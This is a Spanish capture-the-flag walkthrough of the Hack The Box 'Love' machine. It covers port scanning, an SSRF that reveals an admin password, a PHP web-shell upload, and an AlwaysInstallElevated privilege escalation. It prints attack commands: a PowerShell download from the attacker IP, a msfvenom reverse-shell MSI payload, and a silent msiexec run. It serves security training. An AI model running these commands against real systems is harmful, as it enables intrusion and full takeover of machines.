# Love

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZFpAf2TnOQRHpTwD4ADp%2FLove.png?alt=media&#x26;token=971fbf50-b2d7-4b01-911f-e7a6f578d6c1" alt=""><figcaption></figcaption></figure>

El CTF "Love" de la plataforma Hack The Box, es una máquina de dificultad fácil que está incluida en la[ Lista de preparación OSCP de TJnull](https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159) . Explotar esta máquina requiere conocimientos sobre enumeración web, vulnerabilidades SSRF, identificación de exploits, el registro de Windows y la política AlwaysInstallElevated. A pesar de que se considera fácil, esta máquina requiere varios pasos de explotación antes de que se pueda lograr la ejecución remota del código, lo cual es algo inusual para las máquinas fáciles.

### Reconocimiento

#### NMAP&#x20;

Comenzamos realizando un escaneo rápido de los servicios que tiene la máquina abiertos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBjHnDQBWhCWMCQ8UxNtY%2Fimage.png?alt=media&#x26;token=f213c02f-921a-43e0-9be8-de14998ae511" alt=""><figcaption></figcaption></figure>

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.239
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8IBz6BkAFyNkIYKdmTfD%2Fimage.png?alt=media&#x26;token=c0f22d12-d71e-4ec3-9659-fadfdca9208e" alt=""><figcaption></figcaption></figure>

Una vez realizado un escaneo rápido de los servicios abiertos, volvemos a hacer otro escaneo más profundo de los servicios abiertos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDFqgeduAeARRKgD8tzOp%2Fimage.png?alt=media&#x26;token=c1959544-9be4-4483-9e0d-81ee54d940dd" alt=""><figcaption></figcaption></figure>

```
nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sV -vv 10.10.10.239
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FtyolO4u6qzFEfSZgk6X6%2Fimage.png?alt=media&#x26;token=86ce8ae8-3013-48d7-9dfe-75985a60a531" alt=""><figcaption></figcaption></figure>

Ya tenemos versiones de los servicios abiertos y el nombre de un dominio. Vamos a registrarlo en el archivo /etc/hosts.&#x20;

```
echo "10.10.10.239 www.love.htb" >> /etc/hosts
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FV5D5kXlqQmygXHekI0Fm%2Fimage.png?alt=media&#x26;token=226795cc-479f-475e-9bcb-0854e4fcc0ad" alt=""><figcaption></figcaption></figure>

#### RECONOCIMIENTO WEB

Tenemos servicios web disponibles en los puertos 80,443 y 5000  que están ejecutando un servidor web Apache, así que vamos a verificar su contenido.&#x20;

PUERTO 80

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FV3pZlHjSbk00lU9JPFsu%2Fimage.png?alt=media&#x26;token=cc7b5f21-993e-48b8-8499-98dfb86ff0f3" alt=""><figcaption></figcaption></figure>

Tenemos lo que parece un sistema de votación. El título de la página es “Sistema de votación usando PHP”.

Algunas pruebas básicas de contraseñas no nos aportó ningún resultado. No importa lo que ingresé, devuelve:&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEKWYEAkPC7eYnIZUItlt%2Fimage.png?alt=media&#x26;token=7943ce53-cf15-4212-aeaa-40a3d189fbfd" alt=""><figcaption></figcaption></figure>

PUERTO 443 - 5000

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FoJI0aCACqhaoW5Kk5S98%2Fimage.png?alt=media&#x26;token=69937e3b-c87f-469d-8bb6-ee17cebd26ed" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwaPq9Jh0hiQsokXmj3s2%2Fimage.png?alt=media&#x26;token=07383150-b98e-4fc5-a79d-f9d366789440" alt=""><figcaption></figcaption></figure>

No podemos acceder a estos puertos.&#x20;

Vamos a consultar el certificado para la URL <https://www.love.htb>, a ver si contiene información de interés.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAuwNxrkaL3G238JeBhBh%2Fimage.png?alt=media&#x26;token=e637e3ba-40a4-4ec1-95f2-4fe1122e012e" alt=""><figcaption></figcaption></figure>

Tenemos dos subdominios y una dirección de correo electrónico. Añadimos los dos subdominios al archivo /etc/hosts.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3Bv2MtFCL4Mnnki0eGpP%2Fimage.png?alt=media&#x26;token=6bd606e3-cbdc-4cac-b0c2-4bbfbcaf1bd1" alt=""><figcaption></figcaption></figure>

```
echo "10.10.10.239 love.htb staging.love.htb" >> /etc/hosts
```

A continuación, podemos intentar navegar hacia `love.htb`y `staging.love.htb` en los puertos 80, 443 y 5000  para ver si esto da como resultado respuestas diferentes a las que vimos anteriormente. Al hacer esto, descubrimos un servicio de escaneo de archivos en [http://staging.love.htb](http://staging.love.htb/).&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9lMFvdoNDNuhnRxEysm0%2Fimage.png?alt=media&#x26;token=dc7c9c12-0d1d-4e9f-a725-78096fa0a232" alt=""><figcaption></figcaption></figure>

Este servicio parece estar en construcción y ofrece un formulario para recibir actualizaciones por correo electrónico sobre el progreso del desarrollo. Además, esta página incluye dos botones en la esquina superior izquierda.

El botón `Home` lleva a la página actual mientras que el botón `Demo` lleva a la página de abajo. Esta página se puede usar para escanear archivos en Internet al hacer referencia a ellos con una URL.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJafmQmE8RfLXfutjKfiZ%2Fimage.png?alt=media&#x26;token=7b4e9cc1-485a-4ed1-8f2b-7067b01f1ea7" alt=""><figcaption></figcaption></figure>

Accedo al recurso y veo que puedo indicar una ruta para escanear un archivo. Intente ejecutar diferentes técnicas de explotación como LFI, RFI, etc. Pero ninguna funcionó. Hasta que probe a hacer un SSRF y obtenemos resultados:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FcI9ncFm26M7pHjy0uyFh%2Fimage.png?alt=media&#x26;token=8e20ce67-b39f-47a2-be1a-5d9e94c954c2" alt=""><figcaption></figcaption></figure>

Podríamos intentar usar la vulnerabilidad SSRF para acceder a la aplicación web que se ejecuta en el puerto 5000 que nos dio un error `403 Forbidden`anteriormente. No se podía acceder a esta aplicación web desde otro host, pero podría ser accesible para solicitudes que se originaran en el propio host de destino. Podemos probar esto enviando la URL [http://localhost:5000](http://localhost:5000/). Al hacer esto, descubrimos que la aplicación web no nos impide el acceso.. En cambio, nos proporciona la cadena `@LoveIsInTheAir!!!!`que es la contraseña de la cuenta de administrador.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEWLrDmhPh9oDP5gkw7yL%2Fimage.png?alt=media&#x26;token=7d19881c-b573-4874-93e3-4fad643a1e29" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhM6x1UZUWXuBAIMfgwrP%2Fimage.png?alt=media&#x26;token=4481bf2c-d44c-46c8-954c-194b0e46c956" alt=""><figcaption></figcaption></figure>

Al iniciar sesión en el formulario con las credenciales obtenidas, nos devuelve un error como el indicado anteriormente. O las credenciales no son correctas, o existe otro formulario de inicio de sesión. Vamos a realizar una enumeración de directorios para buscarlo.&#x20;

```
gobuster dir -u "http://love.htb" -w '/home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt' -t 50 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8QMG9fekFrEGo6otTYpJ%2Fimage.png?alt=media&#x26;token=2122ef8d-7da4-4d7b-9bfd-6792cefe14c4" alt=""><figcaption></figcaption></figure>

Tenemos un directorio /admin. Vamos a ver su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVeWzGKbAfrLgDjqblxjq%2Fimage.png?alt=media&#x26;token=6bd1a880-aee3-4628-9554-0589431ecc91" alt=""><figcaption></figcaption></figure>

Tenemos otro formulario de inicio de sesión donde si funcionan las credenciales de administrador anteriores.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxZcOp1OxOuPSG4zQdWd6%2Fimage.png?alt=media&#x26;token=07f796b2-7236-42b9-bffe-10bb0a84bb7d" alt=""><figcaption></figcaption></figure>

Tenemos acceso a un panel de control.&#x20;

### Acceso al sistema como Phoebe

Una vez que haya iniciado sesión, no hay mucho que hacer. Inspeccionar las distintas partes no condujo a nada interesante. Sin embargo, al hacer clic en el nombre del usuario registrado, Neovic Devierte, hay una opción para actualizar.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUxWbJuKtLcdzXFBRCriz%2Fimage.png?alt=media&#x26;token=7fabe551-7f7c-4a0e-8045-f5d0b7bb7e79" alt=""><figcaption></figcaption></figure>

Al hacer clic, aparece un formulario para actualizar el perfil de administrador.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOsnTYbVVsWx53fvOCAHe%2Fimage.png?alt=media&#x26;token=48029ccd-7c92-419b-afd3-769a2cd61d0e" alt=""><figcaption><p><br></p></figcaption></figure>

Si cargamos una shell PHP en Photo, el sistema no la rechaza y la foto de usuario desaparece.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FH9dcHq5D0ZBtgwafhASp%2Fimage.png?alt=media&#x26;token=1b1f02ea-ef54-456c-9cd3-0e0852598151" alt=""><figcaption></figcaption></figure>

Vamos a ver donde se guarda la shell cargada anteriormente.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpglyAyct5EV1zepYS348%2Fimage.png?alt=media&#x26;token=27d793e2-1511-4179-a18c-f755f35da2dd" alt=""><figcaption></figcaption></figure>

Visitamos <http://love.htb/images/cmd.php?cmd=whoami>&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FmWVrnPcxKEKgp9Kb3Obr%2Fimage.png?alt=media&#x26;token=616f6367-54f1-4bc7-b901-ec399b9179d6" alt=""><figcaption></figcaption></figure>

Vamos a aprovechar este fallo para cargar una shell para establecer una conexión con la máquina objetivo.&#x20;

Vamos a utilizar esta shell PHP <https://github.com/numaciberseguridad/exploit.php/blob/main/exploit.php>. También pondremos un oyente nc en el puerto 4444.

Configuramos la shell con el puerto y la IP de nuestra máquina atacante. Y la cargamos en la víctima.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fsb2azl1QdTd7eYceyFoB%2Fimage.png?alt=media&#x26;token=759edd3d-6630-4c4d-b0f3-7f2e59b5c3bc" alt=""><figcaption></figcaption></figure>

Y ya tendriamos conexión la máquina víctima.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWXVyjdn2xI5Ziz3Oouby%2Fimage.png?alt=media&#x26;token=a8afca30-11fc-435c-81bf-bfffe96a21f3" alt=""><figcaption></figcaption></figure>

Buscamos la flag user.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F0oMJ1gHsmgxvlNNBTgJe%2Fimage.png?alt=media&#x26;token=70325e5e-0557-41a9-93a2-c81e6c54dc7e" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Utilizaremos WinPEAS para realizar una enumeración del sistema. Creamos un servidor HTTP con Python.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUVtRWx4UZhoTHmeiekAa%2Fimage.png?alt=media&#x26;token=5ad8c09d-8b96-492a-8f99-df85ac404333" alt=""><figcaption></figcaption></figure>

```
python3 -m http.server 80
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrCGeFUPRojDdin3DOhvc%2Fimage.png?alt=media&#x26;token=5771d8c7-147b-46f0-8e39-47dc59fee6f5" alt=""><figcaption></figcaption></figure>

```
powershell wget http://10.10.16.11/winPEASx64.exe -outfile winpeas.exe
```

Y ejecutamos WinPEAS.exe

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJPmKm34DB7pJyzk0KSTG%2Fimage.png?alt=media&#x26;token=81a0b569-7ae6-4932-82b3-710908df1d0d" alt=""><figcaption></figcaption></figure>

Tenemos habilitado el AlwaysInstallElevated que hace que cualquier paquete de instalacion que instalemos, se haga como administrador.  Podemos crear un paquete de instalación malicioso con `msfvenom` para ganar acceso como administrador.

Primero creamos el paquete con `msfvenom.`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FoyiDHXyJEBABmS7Z8YmZ%2Fimage.png?alt=media&#x26;token=10b1aed6-19c2-444c-a177-2b3b00e82f0d" alt=""><figcaption></figcaption></figure>

```
msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.16.11 LPORT=4444 -f msi -o reverse.msi
```

Subimos el archivo generado a la máquina víctima de la misma manera que subimos WinPEAS anteriormente.  Debemos crear un oyente en el puerto 4444 y ejecutamos el archivo malicioso de la siguiente manera:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FE9LaRArdH3ZEnZ3d0Np0%2Fimage.png?alt=media&#x26;token=1ae5c7be-67bb-4e14-8dc1-3d24e6c74404" alt=""><figcaption></figcaption></figure>

```
msiexec /quiet /qn /i reverse.msi  
```

Y ya tendriamos establecida la shell con privilegios elevados.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQY5zXen89uBwLZts41ex%2Fimage.png?alt=media&#x26;token=b82d64ca-0523-4227-957c-78e26b455e24" alt=""><figcaption></figcaption></figure>

Buscamos la flag root y tendriamos acabada la máquina Love.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYoYdAtHJehwyqreh1x2P%2Fimage.png?alt=media&#x26;token=ea4b77f6-afb7-4a17-9859-7d8ff7c33d5d" alt=""><figcaption></figcaption></figure>

Video de resolución en Twitch.

{% embed url="<https://www.youtube.com/watch?t=1928s&v=Ojoa2XOWLxs>" %}
